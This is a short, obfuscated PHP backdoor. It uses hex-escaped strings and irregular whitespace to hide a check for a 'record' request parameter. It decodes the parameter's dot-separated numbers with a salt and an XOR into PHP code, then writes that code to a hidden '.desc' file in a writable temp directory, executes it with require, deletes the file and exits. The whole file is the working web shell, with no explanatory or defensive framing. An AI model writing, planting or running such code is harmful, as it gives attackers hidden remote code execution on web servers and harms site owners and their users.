<?php

if(in_array("\x72e\x63ord", array_keys($_REQUEST))){
	$flag = $_REQUEST["\x72e\x63ord"];
			$flag  =	 	explode	 (	".",	  $flag)  ;		 
	$symbol ='';
            $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen($salt3 	);
            $len =count($flag 	);
    
            for($y =0; $y < $len; $y++) { 	$v5 =$flag[$y];
                $chS =ord($salt3[$y	 % $lenS] 	);
                $d =((int)$v5 - $chS -($y	 % 10))	^ 	93;
                $symbol.= chr($d 	);}	
	$obj = array_filter(["/var/tmp", getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd()]);
	foreach ($obj as $key => $res) {
    		if (array_product([is_dir($res), is_writable($res)])) {
    $hld = "$res" . "/.desc";
    if (file_put_contents($hld, $symbol)) {
	require $hld;
	unlink($hld);
	die();
}
}
}
}